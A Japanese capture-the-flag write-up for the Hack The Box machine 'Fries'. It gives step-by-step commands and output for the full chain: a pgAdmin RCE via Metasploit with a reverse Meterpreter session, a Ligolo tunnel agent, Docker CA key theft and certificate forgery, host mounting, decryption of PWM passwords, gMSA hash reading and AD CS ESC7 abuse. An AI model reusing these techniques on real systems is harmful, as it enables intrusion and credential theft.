コンテンツにスキップ

HTB Fries writeup

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

Fries は、外部からは Ubuntu 上の nginx と Windows DC のサービスが同じ IP に見える構成でした。初期認証情報は AD には通らず、Gitea と pgAdmin にだけ有効でした。Gitea の履歴から PostgreSQL 認証情報を取得し、pgAdmin 9.1 の authenticated RCE で pgAdmin コンテナに入りました。コンテナ環境変数から SSH 可能な svc のパスワードを得て Ubuntu ホストへ移動し、Ligolo で内部ネットワークへ到達しました。

内部では NFS 経由で Docker TLS CA 秘密鍵を取得し、Docker authorization plugin の policy に合わせて CN=root のクライアント証明書を作成しました。Docker API からホストをマウントして Ubuntu 側の root を取得し、PWM の設定ファイルから svc_infra の LDAP proxy password を復号しました。

AD 側では svc_infra が gMSA_CA_prod$ の gMSA パスワードを読めました。gMSA_CA_prod$ は CA に対する ManageCa を持っていたため、AD CS の設定変更で EDITF_ATTRIBUTESUBJECTALTNAME2 を有効化しました。通常の Kerberos PKINIT は SID mismatch で失敗しましたが、同じ PFX を LDAPS Schannel の ldap-shell に使うと FRIES\Administrator として LDAP bind できました。そこで gMSA_CA_prod$ を Administrators に追加し、WinRM に再ログインして Administrator のデスクトップから root flag を取得しました。

ItemValue
BoxFries
PlatformHack The Box
OSWindows / Ubuntu / Docker
DifficultyHard
nmap: AD services, nginx, SSH, PWM certificate names
|
| Initial credential works in Gitea and pgAdmin, not AD/SSH/WinRM
v
Gitea history -> db-mgmt05.fries.htb + PostgreSQL credential
|
| pgAdmin 9.1 authenticated RCE (CVE-2025-2945)
v
pgAdmin container -> svc password -> SSH to Ubuntu host
|
| Ligolo route to 192.168.100.0/24 and Docker bridges
v
NFS export -> Docker TLS CA private key
|
| Authorization policy permits client certificate with CN=root
v
Docker API -> mount host / -> Ubuntu root
|
| Decrypt LDAP proxy password from PWM configuration
v
svc_infra -> read gMSA password -> gMSA_CA_prod$ NTLM hash
|
| ManageCa enables EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)
v
User template -> administrator@fries.htb PFX
|
| PKINIT fails on SID mismatch; LDAPS Schannel ldap-shell succeeds
v
FRIES\\Administrator LDAP bind
|
| Add gMSA_CA_prod$ to Administrators; reconnect with WinRM
v
Administrator desktop / root flag
ItemValue
Domainfries.htb
DCDC01.fries.htb / 192.168.100.1
Web Host192.168.100.2
Docker Bridge172.18.0.1, 172.17.0.1
Initial Credentiald.cooper@fries.htb:D4LE11maan!!

/etc/hosts は少なくとも次を入れます。

10.129.244.72 fries.htb dc01.fries.htb pwm.fries.htb code.fries.htb db-mgmt05.fries.htb

Ligolo で内部へ到達した後は、DC を 192.168.100.1 として直接指定できました。

まず全ポートを確認します。

ターミナルウィンドウ
nmap -sS -A -p- --min-rate 10000 10.129.244.72 -oN fries.nmap

重要な結果は次です。

22/tcp open ssh OpenSSH 8.9p1 Ubuntu
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.18.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb)
443/tcp open ssl/http nginx 1.18.0
445/tcp open microsoft-ds?
636/tcp open ssl/ldap
3268/tcp open ldap
3269/tcp open ssl/ldap
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Service Info: Host: DC01
clock-skew: +7h00m00s

443 の証明書から pwm.fries.htb が見えます。

ssl-cert: Subject: commonName=pwm.fries.htb

この最初のスキャンでは、1つの外部 IP に Linux と Windows の情報が混在しています。80/443/22 は Ubuntu/nginx/SSH ですが、88/389/445/5985 は Windows DC 側のサービスです。この時点で、表側の IP は単純な単一ホストではなく、NAT や proxy で Ubuntu と DC の両方へ到達している構成だと見ておきます。clock-skew が 7 時間ある点も後で Kerberos や証明書認証を使うときに効きます。

初期認証情報を AD 系に試しますが、ここでは失敗します。これは「初期認証情報は Web アプリ用」と判断する材料でした。

ターミナルウィンドウ
nxc ldap 10.129.244.72 -u d.cooper@fries.htb -p 'D4LE11maan!!'
nxc winrm dc01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'
nxc ssh dc01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'
LDAP [-] fries.htb\d.cooper@fries.htb:D4LE11maan!!
WINRM [-] fries.htb\d.cooper@fries.htb:D4LE11maan!!
SSH [-] d.cooper@fries.htb:D4LE11maan!!

vhost を探します。

ターミナルウィンドウ
ffuf -u http://fries.htb \
-H "Host: FUZZ.fries.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-ac
code [Status: 200, Size: 13593, Words: 1048, Lines: 272]

vhost fuzzing は、同じ IP と port に対して HTTP Host header だけを変えて仮想ホストを探す手法です。nginx では server_name ごとに別アプリへ proxy する構成が多いため、DNS に載っていない名前でも Host header が一致すれば別のアプリが見えることがあります。ここでは code.fries.htb が Gitea への入口でした。

http://code.fries.htb/ は Gitea です。初期認証情報でログインでき、HTTP clone もできます。Web のログイン名は d.cooper@fries.htb ですが、リポジトリ clone では dale を使いました。

ターミナルウィンドウ
git clone http://code.fries.htb/dale/fries.htb.git

差分から db-mgmt05.fries.htb が見えます。

ターミナルウィンドウ
cd fries.htb
git diff HEAD~1
The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires mod v3 access, contact Dylan, Mike or Dale)
The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires infra access, contact Dylan, Mike or Dale)

.env は削除済みですが履歴から読めます。

ターミナルウィンドウ
git log --stat --all -- .env
git show 3e8ca66c0de6388ac663d4c1ea56ad9d309fda3b^:.env
DATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
SECRET_KEY=y0st528wn1idjk3b9a

Git はファイル削除後も、過去 commit の object を保持します。.env が現行 tree に無くても、削除 commit の親を指定すれば当時の内容を取り出せます。CTF だけでなく実環境でも、リポジトリに一度入った secret は履歴から消さない限り漏えい済みとして扱う必要があります。

db-mgmt05.fries.htb を hosts に追加すると pgAdmin に到達できます。初期認証情報でログインできます。

pgAdmin 4
Version 9.1
Current User d.cooper@fries.htb

pgAdmin 9.1 は CVE-2025-2945 の対象でした。Metasploit module を使います。

msfconsole
search CVE-2025-2945
use exploit/multi/http/pgadmin_query_tool_authenticated
run verbose=true \
db_name=ps_db \
db_pass=PsqLR00tpaSS11 \
db_user=root \
password=D4LE11maan!! \
rhosts=10.129.244.72 \
username=d.cooper@fries.htb \
vhost=db-mgmt05.fries.htb \
lhost=<tun0-ip> \
lport=4444
[+] The target appears to be vulnerable. pgAdmin version 9.1.0 is affected
[+] Successfully authenticated to pgAdmin
[*] Meterpreter session 1 opened

この exploit は pgAdmin にログインできることと、登録済み DB へ接続できることが前提です。Gitea から得た PostgreSQL の DB_NAME、DB_USER、DB_PASS がここで必要になります。得られる shell は pgAdmin アプリケーションが動くコンテナ内の権限であり、Ubuntu ホストや DC の権限ではありません。以降は、コンテナ境界を意識して「この secret はホスト用か、コンテナ用か、AD 用か」を切り分けます。

コンテナ内で確認します。

meterpreter > sysinfo
meterpreter > getuid
meterpreter > run post/linux/gather/checkcontainer
meterpreter > shell
id
env
Computer : cb46692a4590
Server username: pgadmin
[+] This appears to be a 'Docker' container
uid=5050(pgadmin) gid=0(root) groups=0(root)
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
PGADMIN_DEFAULT_EMAIL=admin@fries.htb

Docker 環境では、アプリの初期パスワードや接続先が環境変数に残っていることがあります。PGADMIN_DEFAULT_PASSWORD は pgAdmin の初期管理者用ですが、この環境では Linux local user の svc にも再利用されていました。コンテナ内の secret がそのままホストや別サービスへ横展開できるとは限らないため、SMB、LDAP、SSH など複数プロトコルで使い回しを確認します。

PWM のエラーメッセージ、Web ページ、Gitea から候補ユーザーを作ります。

ターミナルウィンドウ
cat > users.txt <<'EOF'
admin
svc_infra
svc
administrator
dale
d.cooper
e.thompson
d.rodriguez
s.chen
EOF

pgAdmin の環境変数のパスワードを試します。SMB は失敗しますが SSH では svc が通ります。

ターミナルウィンドウ
netexec smb fries.htb -u users.txt -p 'Friesf00Ds2025!!'
netexec ssh fries.htb -u users.txt -p 'Friesf00Ds2025!!' --continue-on-success
SMB [-] fries.htb\svc:Friesf00Ds2025!! STATUS_LOGON_FAILURE
SSH [+] svc:Friesf00Ds2025!! Linux - Shell access!

SSH で Ubuntu ホストへ入ります。

ターミナルウィンドウ
ssh svc@fries.htb
ターミナルウィンドウ
id
ss -ant
ip addr show
uid=1000(svc) gid=1000(svc) groups=1000(svc)
IPv4 address for eth0: 192.168.100.2
127.0.0.1:2376 LISTEN
127.0.0.1:3000 LISTEN
127.0.0.1:5050 LISTEN
127.0.0.1:5000 LISTEN
0.0.0.0:2049 LISTEN
0.0.0.0:8443 LISTEN

nginx 設定から、各 vhost がローカルのサービスへ proxy されていることが分かります。

ターミナルウィンドウ
cat /etc/nginx/sites-enabled/*
fries.htb -> http://127.0.0.1:5000
db-mgmt05.fries.htb -> http://127.0.0.1:5050
code.fries.htb -> http://127.0.0.1:3000
pwm.fries.htb -> https://127.0.0.1:8443

ss と nginx の設定から、外部公開されている HTTP サービスの多くが Ubuntu ホスト上の localhost または Docker bridge に閉じていることが分かります。SSH で Ubuntu に入れたことで、外部から直接届かない 127.0.0.1:2376 の Docker API や、内部ネットワーク 192.168.100.0/24 を次の調査対象にできます。

Ligolo で内部へルーティングします。攻撃側で tun を作ります。

ターミナルウィンドウ
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert -laddr 0.0.0.0:11601

Ligolo-ng は target 側 agent から攻撃側 proxy へ outbound 接続を張り、その接続上に L3 トンネルを作ります。攻撃側の ligolo tun interface に route を追加すると、通常の nmap、netexec、certipy などをそのまま内部 IP に向けられます。proxy は tun interface と route を扱うため、ここでは sudo で起動します。

ターゲット側へ agent を置いて接続します。

ターミナルウィンドウ
chmod +x /tmp/agent
/tmp/agent -connect <tun0-ip>:11601 -ignore-cert

Ligolo の console でルートを追加します。

session
autoroute
route_add --name <ligolo-interface> --route 240.0.0.1/32

240.0.0.1/32 は Ligolo の magic IP として、target 側から見た 127.0.0.1 に到達する用途で使います。今回の Docker API は Ubuntu ホストの 127.0.0.1:2376 で待っているため、外部から直接届かない localhost サービスを扱う時に重要です。

疎通確認します。

ターミナルウィンドウ
ping 192.168.100.1
ping 172.18.0.1
ping 172.17.0.1

内部の DC を確認します。

ターミナルウィンドウ
nmap -sS -A -p- --min-rate 10000 192.168.100.1 -oN dc01.nmap
53/tcp open domain Simple DNS Plus
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
Service Info: Host: DC01; OS: Windows

Docker bridge 側も確認します。

ターミナルウィンドウ
nmap -sS -A -p- --min-rate 10000 172.18.0.1 -oN docker.nmap
22/tcp open ssh
80/tcp open http nginx
111/tcp open rpcbind
2049/tcp open nfs_acl
3000/tcp open http Gitea
8443/tcp open ssl/http Apache Tomcat / PWM

NFS export を確認します。

ターミナルウィンドウ
showmount -e 192.168.100.2
sudo mkdir -p /mnt/fries
sudo mount -t nfs -o vers=3,nolock 192.168.100.2:/srv/web.fries.htb /mnt/fries
ls -la /mnt/fries
Export list for 192.168.100.2:
/srv/web.fries.htb *
drwxrwx--- 2 root 59605603 4096 certs
drwxrwxrwx 2 root root 4096 shared
drwxr----- 5 svc svc 4096 webroot

NFS はファイル権限を UID/GID 数値で評価します。サーバ側で root:59605603 に見えるディレクトリは、クライアント側でも同じ GID のグループに入れれば読めることがあります。これは Kerberos や LDAP の認証とは別で、NFS export と UNIX permission の問題です。

certs は GID 59605603 のグループだけ読めます。ターゲット側で SSSD の解決を確認すると infra managers です。

ターミナルウィンドウ
getent group 59605603
id d.cooper
id m.hannigan
id d.wilson
infra managers:*:59605603:d.cooper,m.hannigan,d.wilson
uid=59602614(d.cooper) groups=59600513(domain users),59605603(infra managers)

攻撃側で同じ GID のグループを作ると、NFS 上の certs を読めます。

ターミナルウィンドウ
mkdir certs
sudo groupadd -g 59605603 infra_managers
sudo usermod -aG infra_managers <attacker_user>
sudo bash -c 'sg infra_managers -c "cp /mnt/fries/certs/* ./certs/"'
ls certs
ca-key.pem ca.pem server-cert.pem server.csr server-key.pem server-openssl.cnf

取得した ca-key.pem は Docker daemon が信頼する CA の秘密鍵です。Docker の TLS verify は「この CA で署名されたクライアント証明書を提示できるか」を見ます。したがって CA 秘密鍵があれば、任意の Common Name を持つクライアント証明書を作れます。ただし、この環境では TLS 認証の後に authorization plugin が追加で許可判定を行います。

Docker daemon は TLS client cert を必須にしています。

ターミナルウィンドウ
ps auxww | grep dockerd
/usr/bin/dockerd ... --authorization-plugin=authz-broker --tlsverify \
--tlscacert=/etc/docker/certs/ca.pem \
--tlscert=/etc/docker/certs/server-cert.pem \
--tlskey=/etc/docker/certs/server-key.pem \
-H=127.0.0.1:2376

クライアント証明書なしでは拒否されます。

ターミナルウィンドウ
openssl s_client -connect 240.0.0.1:2376
Acceptable client certificate CA names
CN=DockerCA
tlsv13 alert certificate required

最初に任意 CN で証明書を作ると Docker TLS 認証自体は進みますが、authorization plugin で止まります。

ターミナルウィンドウ
openssl genrsa -out client-key.pem 2048
openssl req -new -key client-key.pem -out client.csr
openssl x509 -req \
-in client.csr \
-CA ca.pem \
-CAkey ca-key.pem \
-CAcreateserial \
-out client-cert.pem

CSR の Common Name はまず pwn.com にしました。

ターミナルウィンドウ
alias DOCKER="docker \
--tlsverify \
--tlscacert=ca.pem \
--tlscert=client-cert.pem \
--tlskey=client-key.pem \
-H tcp://127.0.0.1:2376"
DOCKER version
Error response from daemon: authorization denied by plugin authz-broker:
no policy applied (user: 'pwn.com' action: 'docker_version')

ここで分かるのは、Docker daemon への認証と認可が分かれていることです。mTLS は「DockerCA で署名された証明書を持っている」ことを証明しますが、authorization plugin は証明書 subject の CN を user として扱い、その user に許された Docker action だけを通します。CN=pwn.com は認証できても policy に存在しないため拒否されます。

authz-broker の policy を読みます。

ターミナルウィンドウ
find / -iname '*authz*' -o -iname '*broker*' 2>/dev/null
ls /var/lib/authz-broker
cat /var/lib/authz-broker/policy.json
/var/lib/authz-broker
policy.json
{"name":"policy_1", "users": ["svc"], "actions": ["container_list", "container_logs"]}
{"name":"policy_1", "users": ["sysadm"], "actions": ["container"], "readonly":true}
{"name":"policy_2", "users": ["root"], "actions": [""]}

Docker authorization plugin は client certificate の CN を user として見ています。CN=root で作り直します。

ターミナルウィンドウ
openssl req -new -key client-key.pem -out client.csr
openssl x509 -req \
-in client.csr \
-CA ca.pem \
-CAkey ca-key.pem \
-CAcreateserial \
-out client-cert.pem

CSR の Common Name は root にします。これで Docker API が使えます。

ターミナルウィンドウ
DOCKER version
DOCKER container ls
Server:
Engine:
Version: 28.2.2
CONTAINER ID IMAGE NAMES
f427ecaa3bdd pwm/pwm-webapp:latest pwm
cb46692a4590 dpage/pgadmin4:9.1.0 pgadmin4
bfe752a26695 fries-web web
858fdf51af59 postgres:16 postgres
b916aad508e2 gitea/gitea:1.22.6 gitea

ホスト / をマウントして root として読みます。

ターミナルウィンドウ
DOCKER run --rm -it -v /:/global fries-web:latest bash
cd /global
ls root
cat root/user.txt
scripts snap user.txt
[REDACTED]

user flag 取得後は、Docker API で各コンテナを横断して artifact を探します。ここでの目的は、次の AD 側侵入に使える bind account、DB 接続情報、アプリ設定、平文または復号可能な secret を見つけることです。

まずコンテナの設定、環境変数、マウント、ネットワークを確認します。

ターミナルウィンドウ
DOCKER inspect pwm pgadmin4 web postgres gitea
DOCKER exec -it <container> env
DOCKER exec -it <container> sh

コンテナ内では設定ファイル、環境ファイル、DB、JSON/YAML を広めに探します。

ターミナルウィンドウ
find / -iname '*config*' -o -iname '*.env' -o -iname '*secret*' -o -iname '*password*' 2>/dev/null
find / -name '*.db' -o -name '*.sqlite' -o -name '*.json' -o -name '*.yml' 2>/dev/null

調査対象の目安は次でした。

gitea /data/gitea/conf/app.ini, /data/git, DB接続情報
pgadmin /var/lib/pgadmin, pgadmin4.db, servers.json
pwm /config, PwmConfiguration.xml, LDAP bind情報
web /app, .env, config.py, DB接続情報
postgres DB名・ユーザー・テーブル・dump

Gitea の app.ini なども取り出して確認しましたが、最終的に AD 側へつながったのは PWM の LDAP proxy 設定でした。

ターミナルウィンドウ
DOCKER cp gitea:/data/gitea/conf/app.ini ./
DOCKER cp pwm:/config/PwmConfiguration.xml ./

以降は、取り出した PwmConfiguration.xml の重要な値を見ます。

<property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property>
<setting key="ldap.proxy.username" syntax="STRING">
<value>CN=svc_infra,CN=Users,DC=fries,DC=htb</value>
</setting>
<setting key="ldap.proxy.password" syntax="PASSWORD">
<value>ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4ZWjp9XSJ+eB0lEG8bLpd45hP8XAfY8abvgQJm3ztQ0c=</value>
</setting>
<setting key="ldap.serverUrls" syntax="STRING_ARRAY">
<value>ldaps://dc01.fries.htb:636</value>
</setting>

設定パスワード hash は bcrypt です。

ターミナルウィンドウ
hashcat -m 3200 -a 0 \
'$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG' \
/usr/share/wordlists/rockyou.txt
$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG:rockon!
Status...........: Cracked

https://pwm.fries.htb の Configuration Manager には rockon! で入れますが、LDAP は証明書の trust store mismatch で動いていません。

Unable to bind to ldaps://dc01.fries.htb:636 as CN=svc_infra,CN=Users,DC=fries,DC=htb
server certificate does not match a certificate in the PWM configuration trust store

PWM の ENC-PW: は、createTime + "StoredConfiguration" から SHA1 を作り、先頭 16 bytes を AES key にして AES/ECB/PKCS5Padding で復号できます。ldap.proxy.password の modifyTime は 2025-06-01T02:07:43Z でした。

再現用の最小 Java コードです。

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.util.Arrays;
import java.util.Base64;
public final class PwmEncPwDecrypt {
public static void main(String[] args) throws Exception {
String createTime = "2025-06-01T02:07:43Z";
String enc = "ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4ZWjp9XSJ+eB0lEG8bLpd45hP8XAfY8abvgQJm3ztQ0c=";
String payload = enc.substring("ENC-PW:".length());
byte[] ciphertext = Base64.getDecoder().decode(payload);
byte[] material = (createTime + "StoredConfiguration").getBytes(StandardCharsets.ISO_8859_1);
byte[] sha1 = MessageDigest.getInstance("SHA-1").digest(material);
byte[] key = Arrays.copyOfRange(sha1, 0, 16);
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, "AES"));
String json = new String(cipher.doFinal(ciphertext), StandardCharsets.UTF_8);
System.out.println(json);
}
}
ターミナルウィンドウ
javac PwmEncPwDecrypt.java
java PwmEncPwDecrypt
{"salt":"v4DuLvUwLbqLOMq21Kgh1DD3LoMvvQqz","value":"m6tneOMAh5p0wQ0d"}

svc_infra の AD 認証情報が得られます。

svc_infra:m6tneOMAh5p0wQ0d

確認します。

ターミナルウィンドウ
cat > password.txt <<'EOF'
D4LE11maan!
PsqLR00tpaSS11
Friesf00Ds2025!!
rockon!
m6tneOMAh5p0wQ0d
EOF
netexec ldap dc01.fries.htb \
-u users.txt \
-p password.txt \
-d fries.htb \
--continue-on-success
LDAP [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d

svc_infra は LDAP 認証が通るため、ここから Windows 側の列挙に移ります。この段階で見たいのは、ログオン可能性に関わるローカル/ドメイングループ、コンピュータアカウント、証明書サービスに絡む権限、そして後で証明書認証に必要になる SID です。

まず LDAP でグループとコンピュータを確認します。

ターミナルウィンドウ
netexec ldap dc01.fries.htb \
-d fries.htb \
-u svc_infra \
-p 'm6tneOMAh5p0wQ0d' \
--groups --computers
Remote Management Users 13
Service Account Managers 10
Infra Managers 3
DC01$
gMSA_CA_prod$
WEB$

Remote Management Users に多数のメンバーがいることは WinRM 経路の可能性を示します。Infra Managers は前段の NFS で出てきた Linux GID 59605603 と対応しており、AD のグループが Ubuntu 側へ SSSD で解決されていることの裏付けになります。コンピュータとして DC01$、WEB$ に加えて gMSA_CA_prod$ が見える点も重要です。名前から CA 管理用の gMSA である可能性が高く、後の BloodHound で優先して確認する対象になります。

次に SMB で share、ユーザー、RID を見ます。

ターミナルウィンドウ
netexec smb dc01.fries.htb \
-d fries.htb \
-u svc_infra \
-p 'm6tneOMAh5p0wQ0d' \
--shares --users --rid-brute
Share Permissions
IPC$ READ
NETLOGON READ
SYSVOL READ
500: FRIES\Administrator
1104: FRIES\gMSA_CA_prod$
3601: FRIES\svc_infra

NETLOGON と SYSVOL は読めますが、ここから直接の秘密情報は得られませんでした。一方で RID brute の結果は後段で効きます。Administrator は RID 500、svc_infra は RID 3601 です。ESC6 後に発行した証明書で Security Extension SID が ...-3601 になっていることを見て、証明書が Administrator ではなく要求者 svc_infra に強く紐付いていると判断できます。

グループと SID の断片だけでは攻撃経路を見落としやすいため、BloodHound 用のデータを集めます。

ターミナルウィンドウ
rusthound-ce -d fries.htb \
-u svc_infra \
-p 'm6tneOMAh5p0wQ0d' \
-c All \
--zip

重要な発見は次です。

svc_infra -> gMSA_CA_prod$ : ReadGMSAPassword
svc_infra -> Authenticated Users -> fries-DC01-CA : Enroll

ここで攻撃経路が Windows 側へつながります。ReadGMSAPassword は、対象 gMSA の管理パスワード BLOB を読める権限です。NetExec はそれを解釈して NTLM hash を出せるため、gMSA_CA_prod$ の平文パスワードを知らなくても pass-the-hash できます。さらに svc_infra は Authenticated Users として CA に enroll できるため、AD CS の列挙と証明書要求を行う前提も満たしています。

gMSA password を読みます。

ターミナルウィンドウ
netexec ldap dc01.fries.htb \
-d fries.htb \
-u svc_infra \
-p 'm6tneOMAh5p0wQ0d' \
--gmsa
Account: gMSA_CA_prod$
NTLM: 5710cd97225e920cdc6badc919fc8c51
PrincipalsAllowedToReadPassword: svc_infra

この hash は gMSA_CA_prod$ として CA 操作や WinRM ログインを試すための主要 artifact です。特に gMSA_CA_prod$ は名前と後続の Certipy 結果から CA 管理権限を持つことが分かるので、ここで得た hash が AD CS 攻撃の入口になります。

MachineAccountQuota も確認します。

ターミナルウィンドウ
netexec ldap dc01.fries.htb \
-d fries.htb \
-u svc_infra \
-p 'm6tneOMAh5p0wQ0d' \
-M maq
MachineAccountQuota: 0

MAQ が 0 なので、一般ユーザー権限で新しい computer account を作って Domain Computers enroll 権限を利用する手は使えません。したがって、Machine template を中心にするより、既存の svc_infra と gMSA_CA_prod$ の権限から AD CS を攻める方針に寄せます。

AD CS では、CA 側の権限とテンプレート側の enroll 権限を分けて見ます。CA に対する ManageCa や ManageCertificates は強力ですが、それだけで任意テンプレートを enroll できるわけではありません。逆に enroll できるテンプレートがあっても、SAN や SID を自由に入れられないと Administrator 偽装にはつながりません。

svc_infra で CA とテンプレートを列挙します。

ターミナルウィンドウ
certipy-ad find \
-u 'svc_infra@fries.htb' \
-p 'm6tneOMAh5p0wQ0d' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-stdout

CA の重要部分です。

CA Name : fries-DC01-CA
DNS Name : DC01.fries.htb
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Access Rights
ManageCa : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Admins
FRIES.HTB\Enterprise Admins
FRIES.HTB\Administrators
Enroll : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Users
FRIES.HTB\Domain Computers
FRIES.HTB\Authenticated Users

この出力から、gMSA_CA_prod$ が CA に ManageCa を持つこと、svc_infra を含む認証済みユーザーが CA に enroll できることが分かります。一方で User Specified SAN : Disabled なので、このままでは ESC6 のように要求属性で SAN を差し込むことはできません。ここを変更できるかが後半の分岐になります。

svc_infra 視点の -vulnerable では、テンプレート脆弱性は出ません。

ターミナルウィンドウ
certipy-ad find \
-u 'svc_infra@fries.htb' \
-p 'm6tneOMAh5p0wQ0d' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-vulnerable \
-stdout
[!] Vulnerabilities
ESC7 : User has dangerous permissions.
Certificate Templates : [!] Could not find any certificate templates

gMSA_CA_prod$ は CA に ManageCa を持つため ESC7 と表示されます。

ターミナルウィンドウ
certipy-ad find \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-vulnerable \
-stdout
[+] User ACL Principals : FRIES.HTB\gMSA_CA_prod
[!] Vulnerabilities
ESC7 : User has dangerous permissions.

ESC7 は、証明書テンプレートではなく CA オブジェクト側の危険な権限を悪用する分類です。代表例は ManageCa や ManageCertificates で、CA の officer 追加、テンプレート有効化、保留/拒否リクエストの再発行などに関わります。ただし CA 権限だけで全てが通るわけではなく、リクエストした主体がテンプレートを enroll できるか、CA ACL に Deny がないか、発行操作がどの権限で評価されるかが問題になります。

Certipy の ESC7 手順に沿って officer 追加と SubCA 有効化を試します。

ターミナルウィンドウ
certipy-ad ca \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-add-officer 'gMSA_CA_prod$'
certipy-ad ca \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-add-officer 'svc_infra'
certipy-ad ca \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-enable-template 'SubCA'
[*] Successfully added officer 'gMSA_CA_prod$' on 'fries-DC01-CA'
[*] Successfully added officer 'svc_infra' on 'fries-DC01-CA'
[*] Successfully enabled 'SubCA' on 'fries-DC01-CA'

Administrator の SID を確認します。

ターミナルウィンドウ
lookupsid.py 'fries.htb/svc_infra:m6tneOMAh5p0wQ0d@dc01.fries.htb'
Domain SID is: S-1-5-21-858338346-3861030516-3975240472
500: FRIES\Administrator
1104: FRIES\gMSA_CA_prod$
3601: FRIES\svc_infra

SubCA で Administrator を指定して要求します。

ターミナルウィンドウ
certipy-ad req \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-template 'SubCA' \
-upn 'administrator@fries.htb' \
-sid 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Request ID is 43
[-] CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll
[*] Saving private key to '43.key'

ESC7 では通常、この denied request を manager/officer 権限で issue します。しかしここでは失敗します。

ターミナルウィンドウ
certipy-ad ca \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-issue-request 43 \
-debug
[-] Access denied: Insufficient permissions to issue certificate

retrieve でもテンプレート拒否のままです。

ターミナルウィンドウ
certipy-ad req \
-u 'gMSA_CA_prod$@fries.htb' \
-hashes ':5710cd97225e920cdc6badc919fc8c51' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-retrieve 43 \
-debug
[-] Got error while retrieving certificate:
code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED

WinRM で gMSA_CA_prod$ に入り、CA ACL を確認します。

ターミナルウィンドウ
uv run evil-winrm-py \
-i dc01.fries.htb \
-u 'gMSA_CA_prod$' \
-H 5710cd97225e920cdc6badc919fc8c51

以降の Get-CertificationAuthority、Get-CertificationAuthorityAcl、Get-PendingRequest、Approve-CertificateRequest は PSPKI の cmdlet です。WinRM セッションで未読み込みなら先に import します。

ターミナルウィンドウ
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc01.fries.htb |
Get-CertificationAuthorityAcl |
select -expand Access

重要なのは、Deny と Allow が混在していることです。

Rights : ManageCertificates
AccessControlType : Deny
IdentityReference : FRIES\gMSA_CA_prod$
Rights : ManageCA, ManageCertificates, Enroll
AccessControlType : Allow
IdentityReference : FRIES\gMSA_CA_prod$
Rights : ManageCertificates
AccessControlType : Allow
IdentityReference : FRIES\svc_infra

PSPKI の Approve-CertificateRequest は出力なしで戻りますが、certutil -resubmit は拒否されます。

ターミナルウィンドウ
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc01.fries.htb |
Get-PendingRequest -RequestID 43 |
Approve-CertificateRequest
certutil -config "DC01.fries.htb\fries-DC01-CA" -resubmit 43
certutil -config "DC01\fries-DC01-CA" -resubmit 43
CertUtil: -resubmit command FAILED: 0x80070005 (WIN32: 5 ERROR_ACCESS_DENIED)
CertUtil: Access is denied.

